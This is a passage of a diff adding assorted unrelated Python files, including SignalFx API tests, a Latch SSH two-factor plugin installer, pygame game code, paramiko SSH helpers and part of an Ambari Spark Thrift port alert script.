'status_code': 200, + 'method': 'GET', + }, + 'GET_DETECTOR_INCIDENTS': { + 'path': '/v2/detector/abc123/incidents', + 'content': '[]', + 'status_code': 200, + 'method': 'GET', + }, + 'GET_DETECTOR_EVENTS': { + 'path': '/v2/detector/abc123/events', + 'content': '[]', + 'status_code': 200, + 'method': 'GET', + }, + 'GET_INCIDENTS': { + 'path': '/v2/incident', + 'content': open('tests/fixtures/get_incidents.json').read(), + 'status_code': 200, + 'method': 'GET', + 'params': { + 'include_resolved': 'true', + 'offset': '0', + } + }, + 'GET_INCIDENT': { + 'path': '/v2/incident/abc123', + 'content': open('tests/fixtures/get_incident_abc123.json').read(), + 'status_code': 200, + 'method': 'GET', + }, + 'CLEAR_INCIDENT': { + 'path': '/v2/incident/abc123/clear', + 'content': '', + 'status_code': 200, + 'method': 'PUT', + }, + 'GET_DATALINK': { + 'path': '/v2/crosslink/abc123', + 'content': open('tests/fixtures/get_datalink_abc123.json').read(), + 'status_code': 200, + 'method': 'GET', + } +} + + +# Generates a function that can be used with HTTMock to test the endpoint. It +# will validate the params, URL and Method, whilst returning a spec response. +def mock_maker(name): + @all_requests + def mock_responder(url, request): + spec = responses_map.get(name) + if spec is None: + raise Exception("Unknown mock") + + if spec.get('path') != url.path or \ + request.method != spec.get('method'): + return { + 'content': 'Unknown URL' + url.path, + 'status_code': 400, + } + + if spec.get('params') is not None: + incoming_params = parse.parse_qs(url.query) + for k, v in spec.get('params').items(): + param = incoming_params.get(k) + if param is None or param[0] != v: + return { + 'content': 'Missing or incorrection query param: ' + k, + 'status_code': 400 + } + + return { + 'content': spec.get('content'), + 'status_code': spec.get('status_code'), + } + return mock_responder + + +class RESTTest(unittest.TestCase): + + def test_get_detector(self): + name = 'GET_DETECTOR' + with HTTMock(mock_maker(name)): + with signalfx.SignalFx().rest('authkey') as sfx: + orig_detector = json.loads(responses_map[name]['content']) + detector = sfx.get_detector('abc123') + self.assertEqual(orig_detector['id'], detector['id']) + + def test_get_detector_incidents(self): + name = 'GET_DETECTOR_INCIDENTS' + with HTTMock(mock_maker(name)): + with signalfx.SignalFx().rest('authkey') as sfx: + incidents = sfx.get_detector_incidents('abc123') + self.assertEqual(0, len(incidents)) + + def test_get_detector_events(self): + name = 'GET_DETECTOR_EVENTS' + with HTTMock(mock_maker(name)): + with signalfx.SignalFx().rest('authkey') as sfx: + events = sfx.get_detector_events('abc123') + self.assertEqual(0, len(events)) + + def test_get_incidents(self): + name = 'GET_INCIDENTS' + with HTTMock(mock_maker(name)): + with signalfx.SignalFx().rest('authkey') as sfx: + orig_incidents = json.loads(responses_map[name]['content']) + incidents = sfx.get_incidents(include_resolved=True) + self.assertEqual(len(orig_incidents), len(incidents)) + + def test_get_incident(self): + name = 'GET_INCIDENT' + with HTTMock(mock_maker(name)): + with signalfx.SignalFx().rest('authkey') as sfx: + orig_incident = json.loads(responses_map[name]['content']) + incident = sfx.get_incident('abc123') + self.assertEqual(orig_incident['incidentId'], + incident['incidentId']) + + def test_clear_incident(self): + name = 'CLEAR_INCIDENT' + with HTTMock(mock_maker(name)): + with signalfx.SignalFx().rest('authkey') as sfx: + resp = sfx.clear_incident('abc123') + self.assertEqual(200, resp.status_code) + + def test_get_datalink(self): + name = 'GET_DATALINK' + with HTTMock(mock_maker(name)): + with signalfx.SignalFx().rest('authkey') as sfx: + dl = sfx.get_datalink('abc123') + self.assertEqual(dl['id'], 'abc123') + + +class WebSocketTransportTest(unittest.TestCase): + + def test_decode_binary_format_v1(self): + data = struct.pack( + '!BBxx16sqiBqqBqd', + 1, 5, b'foo', 1234, + 2, 1, 10, 42, 2, 11, 3.14) + ws = signalfx.signalflow.ws.WebSocketTransport('token') + decoded = ws.decode_binary_message(data) + self.assertEqual(decoded, { + 'type': 'data', + 'channel': u'foo', + 'logicalTimestampMs': 1234, + 'maxDelayMs': None, + 'data': [{ + 'tsId': u'AAAAAAAAAAo', + 'value': 42, + }, { + 'tsId': u'AAAAAAAAAAs', + 'value': 3.14, + }] + }) + + def test_decode_binary_format_v3(self): + data = struct.pack( + '!BBxx16sqqiBqqBqdBqqBqq', + 3, 5, b'foo', 1234, 4321, + 4, 1, 10, 42, 2, 11, 3.14, 0, 12, 0, 3, 13, 42) + ws = signalfx.signalflow.ws.WebSocketTransport('token') + decoded = ws.decode_binary_message(data) + self.assertEqual(decoded, { + 'type': 'data', + 'channel': u'foo', + 'logicalTimestampMs': 1234, + 'maxDelayMs': 4321, + 'data': [{ + 'tsId': u'AAAAAAAAAAo', + 'value': 42, + }, { + 'tsId': u'AAAAAAAAAAs', + 'value': 3.14, + }, { + 'tsId': u'AAAAAAAAAAw', + 'value': None, + }, { + 'tsId': u'AAAAAAAAAA0', + 'value': 42 + }] + }) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard009/Python/0083446_setup.py b/pool/shard009/Python/0083446_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..0d8723c4e53a1d512c24cbd2d9896f667fb75c76 --- /dev/null +++ b/pool/shard009/Python/0083446_setup.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python +# -*- coding: UTF-8 -*- +# vim: set fileencoding=utf-8 +# Run as root + +''' + This script allows to install latch plugin in ssh Server in some UNIX systems (like Linux) + Copyright (C) 2013 Eleven Paths + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +''' + + +import sys +import os +import shutil + +from latchHelper import * +from translation import * + + + +if len(sys.argv) == 3 and sys.argv[1] == "-f": + secret_key = getConfigParameter("secret_key", sys.argv[2]) + app_id = getConfigParameter("app_id", sys.argv[2]) + if app_id == None or secret_key == None: + print(CANT_READ_CONFIG_FILE_MSG); + exit(1) + + replaceConfigParameters(app_id, secret_key) +else: + print(INCORRECT_SETUP_USE_MSG); + exit(1); + +''' +if os.path.isfile(SSHD_PAM_CONFIG_FILE): + # read openvpn PAM config file + f = open(SSHD_PAM_CONFIG_FILE,"r") + lines = f.readlines() + f.close() + # find latch + found = False + for line in lines: + if line.find(LATCH_PAM_CONFIG) != -1 : + found = True + break + if not found: + # add latch PAM configuration + f = open(SSHD_PAM_CONFIG_FILE,"a") + f.write(LATCH_PAM_CONFIG) + f.close() +else: + exit(1) +''' + +if os.path.isfile(SSHD_PAM_CONFIG_FILE): + # read sshd PAM config file + f = open(SSHD_PAM_CONFIG_FILE,"r") + lines = f.readlines() + f.close() + + shutil.copy(SSHD_PAM_CONFIG_FILE, SSHD_PAM_CONFIG_FILE + "~") + + f = open(SSHD_PAM_CONFIG_FILE,"w"); + # find password-auth + found = False + for line in lines: + if equalSplit(line, AUTH_INCLUDE_PASSWORD_AUTH): + f.write(AUTH_INCLUDE_PASSWD_AUTH_SSHD + "\n") + found = True + else: + f.write(line) + f.close() + if not found: + # ubuntu version + # add latch PAM configuration + f = open(SSHD_PAM_CONFIG_FILE,"a") + f.write(AUTH_REQUIRED_LATCH_PAM + "\n") + f.close() + else: + # centos version + if os.path.isfile(PASSWORD_AUTH_PAM_CONFIG_FILE): + # read password-auth config file + f = open(PASSWORD_AUTH_PAM_CONFIG_FILE,"r") + lines = f.readlines() + f.close() + # write password-auth-sshd config file + f = open(PASSWORD_AUTH_SSHD_PAM_CONFIG_FILE,"w"); + # find 'auth sufficient pam_unix.so nullok try_first_pass' + for line in lines: + if equalSplit(line, AUTH_SUFFICIENT_PAM_UNIX): + f.write(AUTH_REQUISITE_PAM_UNIX + "\n") + f.write(AUTH_SUFFICIENT_LATCH_PAM + "\n") + else: + f.write(line) + f.close() + + else: + exit(1) +else: + exit(1) + + + +# read sshd_config file +f = open(SSHD_CONFIG,"r") +lines = f.readlines() +f.close() + +#forceCommandWrapper = False +authenticationMethodsKey = False +passwordAuthenticationKey = False +challengeResponseAuthenticationKey = False +usePamKey = False + +shutil.move(SSHD_CONFIG, SSHD_CONFIG + "~") + +# Put ChallengeResponseAuthentication yes +# Put UsePAM yes +# Put PasswordAuthentication no +f = open(SSHD_CONFIG,"w"); +for line in lines: + if "ChallengeResponseAuthentication" in line and "#" not in line: + f.write("ChallengeResponseAuthentication yes\n") + challengeResponseAuthenticationKey = True + elif "UsePAM" in line and "#" not in line: + f.write("UsePAM yes\n") + usePamKey = True + elif "PasswordAuthentication" in line and "#" not in line: + f.write("PasswordAuthentication no\n") + passwordAuthenticationKey = True + elif "AuthenticationMethods" in line and "#" not in line: + #f.write("AuthenticationMethods keyboard-interactive\n") + authenticationMethodsKey = True + else: + f.write(line) + ''' + if line.find("ForceCommand " + WRAPPER_EXE) != -1 : + forceCommandWrapper = True + ''' +f.close(); + +if not usePamKey: + f = open(SSHD_CONFIG,"a") + f.write("UsePAM yes\n") + f.close() +if not challengeResponseAuthenticationKey: + f = open(SSHD_CONFIG,"a") + f.write("ChallengeResponseAuthentication yes\n") + f.close() +if not passwordAuthenticationKey: + f = open(SSHD_CONFIG,"a") + f.write("PasswordAuthentication no\n") + f.close() +''' +if not authenticationMethodsKey: + f = open(SSHD_CONFIG,"a") + f.write("AuthenticationMethods keyboard-interactive\n") + f.close() +''' +''' +if not forceCommandWrapper: + # add latch to ssh configuration + f = open(SSHD_CONFIG,"a") + f.write("ForceCommand " + WRAPPER_EXE + "\n") + f.close() +''' +''' +# install the wrapper sshd.sh in /usr/sbin +if not os.path.isfile(WRAPPER_SH): + os.open (WRAPPER_SH, os.O_CREAT, int("0554",8)) + shutil.copyfile('sshd.sh', WRAPPER_SH) +''' +''' +if not os.path.isfile(WRAPPER_PY): + os.open (WRAPPER_PY, os.O_CREAT, int("0500",8)) + shutil.copyfile('sshd.py', WRAPPER_PY) +''' + +# install latch in /usr/lib/openssh +if not os.path.isdir(LATCH_PATH): + os.mkdir(LATCH_PATH) +if not os.path.isdir(LATCH_OPENSSH_PATH): + os.mkdir(LATCH_OPENSSH_PATH) +if not os.path.isfile(LATCH_PLUGIN_GUI): + os.open (LATCH_PLUGIN_GUI, os.O_CREAT, int("0100",8)) + shutil.copyfile('latchPluginGUI.py', LATCH_PLUGIN_GUI) +if not os.path.isfile(SETTINGS_PLUGIN_GUI): + os.open (SETTINGS_PLUGIN_GUI, os.O_CREAT, int("0100",8)) + shutil.copyfile('settingsGUI.py', SETTINGS_PLUGIN_GUI) +if not os.path.isfile(PAIR_PLUGIN): + os.open (PAIR_PLUGIN, os.O_CREAT, int("0100",8)) + shutil.copyfile('pair.py', PAIR_PLUGIN) +if not os.path.isfile(UNPAIR_PLUGIN): + os.open (UNPAIR_PLUGIN, os.O_CREAT, int("0100",8)) + shutil.copyfile('unpair.py', UNPAIR_PLUGIN) +if not os.path.isfile(SETTINGS_PLUGIN): + os.open (SETTINGS_PLUGIN, os.O_CREAT, int("0100",8)) + shutil.copyfile('settings.py', SETTINGS_PLUGIN) +if not os.path.isfile(LATCH_HELPER_PLUGIN): + os.open (LATCH_HELPER_PLUGIN, os.O_CREAT, int("0400",8)) + shutil.copyfile('latchHelper.py', LATCH_HELPER_PLUGIN) +if not os.path.isfile(TRANSLATION_PLUGIN): + os.open (TRANSLATION_PLUGIN, os.O_CREAT, int("0400",8)) + shutil.copyfile('translation.py', TRANSLATION_PLUGIN) +if not os.path.isfile(LATCH_API): + os.open (LATCH_API, os.O_CREAT, int("0400",8)) + shutil.copyfile('latch.py', LATCH_API) + +if not os.path.isdir('/lib/security/'): + os.mkdir('/lib/security/') + +# add latch_accounts file +if not os.path.isfile(LATCH_ACCOUNTS): + fd = os.open (LATCH_ACCOUNTS, os.O_CREAT, int("0600",8)) + +print(INSTALLING_MSG) +exit(0) diff --git a/pool/shard009/Python/0083447_hello.py b/pool/shard009/Python/0083447_hello.py new file mode 100644 index 0000000000000000000000000000000000000000..b6151e0af626705cced12a5140a911489e70d107 --- /dev/null +++ b/pool/shard009/Python/0083447_hello.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python +# +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +# +# Michael A.G. Aivazis +# California Institute of Technology +# (C) 1998-2005 All Rights Reserved +# +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +# + + +def main(): + + + from opal.applications.CGI import CGI + + + class HelloApp(CGI): + + class Inventory(CGI.Inventory): + + import pyre.inventory + + name = pyre.inventory.str("name", default="world") + name.meta['tip'] = "the target of the greeting" + + + def main(self): + import os + pid = os.getpid() + euid = os.geteuid() + uid = os.getuid() + + print '
'
+            print "(%d, %s): Hello %s!" % (pid, uid, self.inventory.name)
+            print '
' + return + + + def __init__(self): + CGI.__init__(self, 'hello') + return + + + import journal + journal.info('opal.cmdline').activate() + journal.debug('opal.commandline').activate() + + app = HelloApp() + return app.run() + + +# main +if __name__ == '__main__': + # invoke the application shell + main() + + +# version +__id__ = "$Id: hello.py,v 1.1.1.1 2005/03/15 06:09:10 aivazis Exp $" + +# End of file diff --git a/pool/shard009/Python/0083451_get_diagram_data.py b/pool/shard009/Python/0083451_get_diagram_data.py new file mode 100644 index 0000000000000000000000000000000000000000..cd88be02dd2f2002ded5189c514b1eaabcfa8a58 --- /dev/null +++ b/pool/shard009/Python/0083451_get_diagram_data.py @@ -0,0 +1,28 @@ +import numpy as np + +def get_diagram_data( y, p, n_bins ): + + n_bins = float( n_bins ) # a float to take care of division + + # we'll append because some bins might be empty + mean_predicted_values = np.empty(( 0, )) + true_fractions = np.zeros(( 0, )) + + for b in range( 1, int( n_bins ) + 1 ): + i = np.logical_and( p <= b / n_bins, p > ( b - 1 ) / n_bins ) # indexes for p in the current bin + + # skip bin if empty + if np.sum( i ) == 0: + continue + + mean_predicted_value = np.mean( p[i] ) + # print "***", np.sum( y[i] ), np.sum( i ) + true_fraction = np.sum( y[i] ) / np.sum( i ) # y are 0/1; i are logical and evaluate to 0/1 + + print mean_predicted_value, true_fraction + + mean_predicted_values = np.hstack(( mean_predicted_values, mean_predicted_value )) + true_fractions = np.hstack(( true_fractions, true_fraction )) + + return ( mean_predicted_values, true_fractions ) + \ No newline at end of file diff --git a/pool/shard009/Python/0083452_optionsScreen.py b/pool/shard009/Python/0083452_optionsScreen.py new file mode 100644 index 0000000000000000000000000000000000000000..28f8e2ea544a08b3dcaacb16ffdd617b086c43e5 --- /dev/null +++ b/pool/shard009/Python/0083452_optionsScreen.py @@ -0,0 +1,98 @@ +''' +OptionsScreen +''' + +import sys + +import pygame +from pygame.locals import * +from pygame.color import * +from screen_ import Screen_ + +sys.path.append('../') +import utils +from utils import save,load,exist + + +class OptionsScreen(Screen_): + def __init__(self): + super(OptionsScreen, self).__init__() + + self.font = utils.getFont('VolterGoldfish', 44) + self.infofont = utils.getFont('VolterGoldfish', 18) + self.keyfont = utils.getFont('VolterGoldfish', 24) + self.background = pygame.image.load("../img/backgrounds/options.png").convert() + self.soundBar = pygame.image.load("../img/backgrounds/soundBar.png").convert_alpha() + self.musicBar = pygame.image.load("../img/backgrounds/soundBar.png").convert_alpha() + self.keyImg = pygame.image.load("../img/backgrounds/key.png").convert_alpha() + self.volumeTest = pygame.mixer.Sound("../sounds/volumeTest.wav") + self.menuEntries = ["Music","Sound","Controls","Back"] + self.menuPositions = [(200,100),(200,200),(200,300),(200,500)] + self.menuChoice = 0 + self.activeColor = THECOLORS["black"] + self.inactiveColor = THECOLORS["grey64"] + self.soundLevel = 0 + if exist('soundLevel'): + self.soundLevel = load('soundLevel') + self.musicLevel = 0 + if exist('musicLevel'): + self.musicLevel = load('musicLevel') + self.actionKeys = ['slow time','shield','trap','left','jump','right'] + self.keys = ['w','x','c','<','^','>'] + self.actionKeysPos = [(200,450),(330,450),(430,450),(530,450),(630,450),(730,450)] + + + + + def render(self, backgroundScreen): + backgroundScreen.blit(self.background, (0,0)) + for i in range(len(self.menuEntries)): + if i == self.menuChoice: + backgroundScreen.blit(self.font.render(self.menuEntries[i], 1, self.activeColor), self.menuPositions[i]) + else: + backgroundScreen.blit(self.font.render(self.menuEntries[i], 1, self.inactiveColor), self.menuPositions[i]) + for i in range(len(self.actionKeys)): + backgroundScreen.blit(self.infofont.render(self.actionKeys[i],1,self.inactiveColor),(200+(i>0)*(i*100+30),450)) + backgroundScreen.blit(self.keyImg,(200+(i>0)*(i*100+30),380)) + backgroundScreen.blit(self.keyfont.render(self.keys[i],1,self.inactiveColor),(200+(i>0)*(i*100+30)+20,390)) + for i in range(5): + backgroundScreen.blit(self.soundBar, (400+i*40,120), (0, (self.soundLevel > i)*30, 30, 30)) + backgroundScreen.blit(self.musicBar, (400+i*40,220), (0, (self.musicLevel > i)*30, 30, 30)) + + + def handle_events(self, events): + for event in events: + if event.type == KEYDOWN: + if event.key == K_ESCAPE: + save([('soundLevel',self.soundLevel),('musicLevel',self.musicLevel)]) + self.manager.go_to('mainMenuScreen') + if event.key == K_RETURN: + if self.menuChoice == 3: + save([('soundLevel',self.soundLevel),('musicLevel',self.musicLevel)]) + self.manager.go_to('mainMenuScreen') + if event.key == K_UP: + self.menuChoice = (self.menuChoice - 1) % len(self.menuEntries) + if event.key == K_DOWN: + self.menuChoice = (self.menuChoice + 1) % len(self.menuEntries) + if event.key == K_LEFT: + if self.menuChoice == 0: + self.soundLevel = max(0,self.soundLevel-1) + self.volumeTest.set_volume(self.soundLevel*0.2) + self.volumeTest.play() + if self.menuChoice == 1: + self.musicLevel = max(0,self.musicLevel-1) + pygame.mixer.music.set_volume(self.musicLevel*0.2) + self.volumeTest.set_volume(self.musicLevel*0.2) + self.volumeTest.play() + if event.key == K_RIGHT: + if self.menuChoice == 0: + self.soundLevel = min(5,self.soundLevel+1) + self.volumeTest.set_volume(self.soundLevel*0.2) + self.volumeTest.play() + if self.menuChoice == 1: + self.musicLevel = min(5,self.musicLevel+1) + pygame.mixer.music.set_volume(self.musicLevel*0.2) + self.volumeTest.set_volume(self.musicLevel*0.2) + self.volumeTest.play() + if event.type == QUIT: + save([('soundLevel',self.soundLevel),('musicLevel',self.musicLevel)]) \ No newline at end of file diff --git a/pool/shard009/Python/0083463_setup.py b/pool/shard009/Python/0083463_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..db4c0861475445d808266f442f08833405315f1c --- /dev/null +++ b/pool/shard009/Python/0083463_setup.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from __future__ import with_statement +from setuptools import setup + +with open("README.md") as f: + long_description = f.read() + +setup( + name="pyplyr", + version="0.0.1", + description="dplyr like method chains for pandas DataFrame.", + author="airtoxin", + author_email="airtoxin@icloud.com", + url="https://github.com/airtoxin/pyplyr", + py_modules=["pyplyr"], + include_package_data=True, + install_requires=[ + "pandas" + ], + tests_require=[ + "nose" + ], + license="MIT", + keywords="", + zip_safe=False, + classifiers=[] +) diff --git a/pool/shard009/Python/0083468_galaxywh.py b/pool/shard009/Python/0083468_galaxywh.py new file mode 100644 index 0000000000000000000000000000000000000000..7f113514fbffd05ecee8d9cc6aab7187d2a1affb --- /dev/null +++ b/pool/shard009/Python/0083468_galaxywh.py @@ -0,0 +1,25 @@ +import random +import pygame as pg +import copy + +class Galaxy(pg.sprite.Sprite): + """This class represents the block.""" + def __init__(self, image, position, *groups): + pg.sprite.Sprite.__init__(self, *groups) + self.image = image + self.rect = self.image.get_rect(topleft=position) + self.speed = 0 + + def reset_pos(self, screen_rect): + """Reset block to a random location slightly above the screen.""" + self.rect.x = random.randrange(screen_rect.width-self.rect.width) + self.rect.y = random.randrange(-100, -20) + + def update(self, keys, screen_rect): + """Update the position of the block; reset if it leaves the screen.""" + self.rect.y += self.speed + if self.rect.y > screen_rect.bottom: + self.reset_pos(screen_rect) + + def get_copy(self): + return copy.copy(self) diff --git a/pool/shard009/Python/0083470_ex14.py b/pool/shard009/Python/0083470_ex14.py new file mode 100644 index 0000000000000000000000000000000000000000..94ca28a302da8a2f9bf734b2384955af43357919 --- /dev/null +++ b/pool/shard009/Python/0083470_ex14.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +# Exercise 14: Prompting and Passing + +from sys import argv + +script, user_name = argv +prompt = '> ' + +print "Hi %s, I'm the %s script." % (user_name, script) +print "I'd like to ask you a few questions." +print "Do you like me %s?" % user_name +likes = raw_input(prompt) + +print "Where do you live %s?" % user_name +lives = raw_input(prompt) + +print "What kind of computer do you have?" +computer = raw_input(prompt) + +print """ +Alright, so you said %r about liking me. +You live in %r. Not sure where that is. +And you have a %r computer. Nice. +""" % (likes, lives, computer) diff --git a/pool/shard009/Python/0083472_mavlink-zmq-bridge.py b/pool/shard009/Python/0083472_mavlink-zmq-bridge.py new file mode 100644 index 0000000000000000000000000000000000000000..3f1c87435e32036b1b63a056e3c7bfec064e9b93 --- /dev/null +++ b/pool/shard009/Python/0083472_mavlink-zmq-bridge.py @@ -0,0 +1,46 @@ +import zmq + +from argparse import ArgumentParser +from pymavlink import mavutil + +def main(): + parser = ArgumentParser() + parser.add_argument("--device", help="MAVLink device to add to zmq", required=True) + parser.add_argument("--zmq", help="zmq url", required=True) + parser.add_argument("--prefix", help="Prefix for topic for this device", default="unnamed") + args = parser.parse_args() + + try: + msrc = mavutil.mavlink_connection(args.device, planner_format=False, + notimestamps=True, robust_parsing=True) + except Exception, e: + print 'Could not connect to mavlink device at %s' % args.device + print e + return False + + context = zmq.Context() + zmq_socket = context.socket(zmq.PUB) + try: + zmq_socket.connect(args.zmq) + + except Exception, e: + print 'Failed to establish connection with zmq gateway' + print e + + #send messages from mavlink connection to zmq gateway + try: + while True: + mav_msg = msrc.recv_match() + if mav_msg is not None: + topic = "%s.%s"%(args.prefix,mav_msg.get_type()) + zmq_socket.send(topic,zmq.SNDMORE) + zmq_socket.send_pyobj(mav_msg) + except Exception, e: + print 'Bridge failed' + print e + + zmq_socket.close() + context.term() + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0083480_utils.py b/pool/shard009/Python/0083480_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..84c2cb835ad94ea95ec8d1ab8fd3a60d94c41b00 --- /dev/null +++ b/pool/shard009/Python/0083480_utils.py @@ -0,0 +1,138 @@ +import os +import cStringIO +import base64 + +from Crypto.Cipher import AES +from Crypto import Random +import paramiko + +from settings import AES_KEY + + +class StringIO(object): + + def __init__(self, *args, **kwargs): + self.s = cStringIO.StringIO(*args) + self.name = kwargs.get("name", '') + + @property + def size(self): + current = self.tell() + self.seek(0, os.SEEK_END) + value = self.tell() + self.seek(current) + return value + + def __getattr__(self, key): + return getattr(self.s, key) + + def __iter__(self): + for line in self.readlines(): + yield line + + def __enter__(self): + return self + + def __exit__(self, type, value, traceback): + self.close() + + +class SSHClient(paramiko.SSHClient): + + def __init__(self, *args, **kwargs): + super(SSHClient, self).__init__(*args, **kwargs) + self.base = "" + + def __enter__(self): + return self + + def __exit__(self, type, value, traceback): + self.close() + + def exec_command(self, command, *args, **kwargs): + command = self.base + command + return super(SSHClient, self).exec_command(command, *args, **kwargs) + + def connect(self, *args, **kwargs): + super(SSHClient, self).connect(*args, **kwargs) + self.determine_base() + + def determine_base(self): + bases = [". ~/.bash_profile; ", "source .login; ", ". ~/.bashrc; "] + for base in bases: + _, _, err = self.exec_command(base) + if not err.readlines(): + self.base = base + return + raise ValueError("Could not find command base") + + +class SFTPClient(paramiko.SFTPClient): + + def __init__(self, *args, **kwargs): + super(SFTPClient, self).__init__(*args, **kwargs) + + def __enter__(self): + return self + + def __exit__(self, type, value, traceback): + self.close() + + +def get_sftp_connection(hostname, username, key=None, password=None, port=22): + if key is None and password is None: + raise Exception("no key or password") + + transport = paramiko.Transport((hostname, port)) + transport.use_compression(compress=True) + if key: + pkey = paramiko.RSAKey.from_private_key(key) + transport.connect(username=username, pkey=pkey) + else: + transport.connect(username=username, password=password) + return SFTPClient.from_transport(transport) + + +def get_ssh_connection(hostname, username, key=None, password=None, + port=22, timeout=None): + if key is None and password is None: + raise Exception("no key or password") + client = SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + if key: + pkey = paramiko.RSAKey.from_private_key(key) + client.connect(hostname, username=username, pkey=pkey, port=port, + allow_agent=False, look_for_keys=False, compress=True, + timeout=timeout) + else: + client.connect(hostname, username=username, password=password, + port=port, allow_agent=False, look_for_keys=False, + compress=True, timeout=timeout) + return client + + +class AESCipher(object): + # http://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256 + BS = AES.block_size + + def __init__(self, key=AES_KEY): + self.key = key + + def _pad(self, s): + pad = (self.BS - len(s) % self.BS) * chr(self.BS - len(s) % self.BS) + return s + pad + + def _unpad(self, s): + return s[0:-ord(s[-1])] + + def encrypt(self, plain_text): + raw = self._pad(plain_text) + iv = Random.new().read(AES.block_size) + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return base64.b64encode(iv + cipher.encrypt(raw)) + + def decrypt(self, cipher_text): + raw = base64.b64decode(cipher_text) + iv = raw[:self.BS] + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return self._unpad(cipher.decrypt(raw[self.BS:])) diff --git a/pool/shard009/Python/0083482_alert_spark_thrift_port.py b/pool/shard009/Python/0083482_alert_spark_thrift_port.py new file mode 100644 index 0000000000000000000000000000000000000000..6874cb4beb0391f355b596e83cea7f46893236b6 --- /dev/null +++ b/pool/shard009/Python/0083482_alert_spark_thrift_port.py @@ -0,0 +1,160 @@ +""" +Licensed to the Apache Software Foundation (ASF) under one +or more contributor license agreements. See the NOTICE file +distributed with this work for additional information +regarding copyright ownership. The ASF licenses this file +to you under the Apache License, Version 2.0 (the +"License"); you may not use this file except in compliance +with the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +""" + +import os +import socket +import time +import logging +import traceback +from resource_management.libraries.functions import format +from ambari_commons.os_family_impl import OsFamilyFuncImpl, OsFamilyImpl +from resource_management.libraries.script.script import Script +from resource_management.libraries.functions import get_kinit_path +from resource_management.core.resources import Execute +from resource_management.core import global_lock +from resource_management.core.signal_utils import TerminateStrategy + +stack_root = Script.get_stack_root() + +OK_MESSAGE = "TCP OK - {0:.3f}s response on port {1}" +CRITICAL_MESSAGE = "Connection failed on host {0}:{1} ({2})" + +HIVE_SERVER_THRIFT_PORT_KEY = '{{spark-hive-site-override/hive.server2.thrift.port}}' +HIVE_SERVER_TRANSPORT_MODE_KEY = '{{spark-hive-site-override/hive.server2.transport.mode}}' +SECURITY_ENABLED_KEY = '{{cluster-env/security_enabled}}' + +HIVE_SERVER2_AUTHENTICATION_KEY = '{{hive-site/hive.server2.authentication}}' +HIVE_SERVER2_KERBEROS_KEYTAB = '{{hive-site/hive.server2.authentication.kerberos.keytab}}' +HIVE_SERVER2_PRINCIPAL_KEY = '{{hive-site/hive.server2.authentication.kerberos.principal}}' + +# The configured Kerberos executable search paths, if any +KERBEROS_EXECUTABLE_SEARCH_PATHS_KEY = '{{kerberos-env/executable_search_paths}}' + +THRIFT_PORT_DEFAULT = 10001 +HIVE_SERVER_TRANSPORT_MODE_DEFAULT = 'binary' + +HIVEUSER_DEFAULT = 'hive' + +CHECK_COMMAND_TIMEOUT_KEY = 'check.command.timeout' +CHECK_COMMAND_TIMEOUT_DEFAULT = 60.0 + +logger = logging.getLogger('ambari_alerts') + +@OsFamilyFuncImpl(os_family=OsFamilyImpl.DEFAULT) +def get_tokens(): + """ + Returns a tuple of tokens in the format {{site/property}} that will be used + to build the dictionary passed into execute + """ + return (HIVE_SERVER_THRIFT_PORT_KEY, HIVE_SERVER_TRANSPORT_MODE_KEY, SECURITY_ENABLED_KEY, KERBEROS_EXECUTABLE_SEARCH_PATHS_KEY, + HIVEUSER_DEFAULT, HIVE_SERVER2_KERBEROS_KEYTAB, HIVE_SERVER2_PRINCIPAL_KEY) + +@OsFamilyFuncImpl(os_family=OsFamilyImpl.DEFAULT) +def execute(configurations={}, parameters={}, host_name=None): + """ + Returns a tuple containing the result code and a pre-formatted result label + + Keyword arguments: + configurations (dictionary): a mapping of configuration key to value + parameters (dictionary): a mapping of script parameter key to value + host_name (string): the name of this host where the alert is running + """ + + spark_home = os.path.join(stack_root, "current", 'spark-client') + + if configurations is None: + return ('UNKNOWN', ['There were no configurations supplied to the script.']) + + transport_mode = HIVE_SERVER_TRANSPORT_MODE_DEFAULT + if HIVE_SERVER_TRANSPORT_MODE_KEY in configurations: + transport_mode = configurations[HIVE_SERVER_TRANSPORT_MODE_KEY] + + port = THRIFT_PORT_DEFAULT + if transport_mode.lower() == 'binary' and HIVE_SERVER_THRIFT_PORT_KEY in configurations: + port = int(configurations[HIVE_SERVER_THRIFT_PORT_KEY]) + + security_enabled = False + if SECURITY_ENABLED_KEY in configurations: + security_enabled = str(configurations[SECURITY_ENABLED_KEY]).upper() == 'TRUE' + + hive_kerberos_keytab = None + if HIVE_SERVER2_KERBEROS_KEYTAB in configurations: + hive_kerberos_keytab = configurations[HIVE_SERVER2_KERBEROS_KEYTAB] + + if host_name is None: + host_name = socket.getfqdn() + + hive_principal = None + if HIVE_SERVER2_PRINCIPAL_KEY in configurations: + hive_principal = 